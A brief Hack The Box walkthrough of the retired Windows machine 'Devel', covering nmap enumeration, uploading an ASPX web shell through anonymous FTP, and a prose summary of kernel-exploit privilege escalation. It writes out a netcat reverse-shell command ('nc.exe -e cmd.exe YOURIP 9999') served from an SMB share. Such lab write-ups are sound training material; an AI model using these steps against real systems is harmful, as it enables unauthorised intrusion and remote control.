Hack The Box · Windows Machine
Devel
| Name | Devel |
|---|---|
| Release date | 15 Mar 2017 |
| Retire date | 14 Oct 2017 |
| OS | Windows |
| Difficulty | Easy - Retired [0] |
| Rated difficulty | ![]() |
| Radar graph | ![]() |
| Creator | ch4p |
| CherryTree file | Download and remove the .txt extension |
Enumeration and foothold
nmap -sC -sV -oA ./devel 10.10.10.5Anonymous FTP and IIS 7.5 share the same web root. Upload an ASPX web shell and request it through HTTP.
ftp 10.10.10.5
put webshell.aspxAn Impacket SMB server exposes nc.exe to the target, allowing the web shell to start a reverse command prompt.
sudo python3 smbserver.py sharename Devel
\\YOURIP\share\nc.exe -e cmd.exe YOURIP 9999
Privilege escalation
Windows Exploit Suggester identifies multiple missing kernel patches on the 32-bit Windows 7 host. The original walkthrough transfers an applicable local exploit and uses it to obtain a SYSTEM shell.

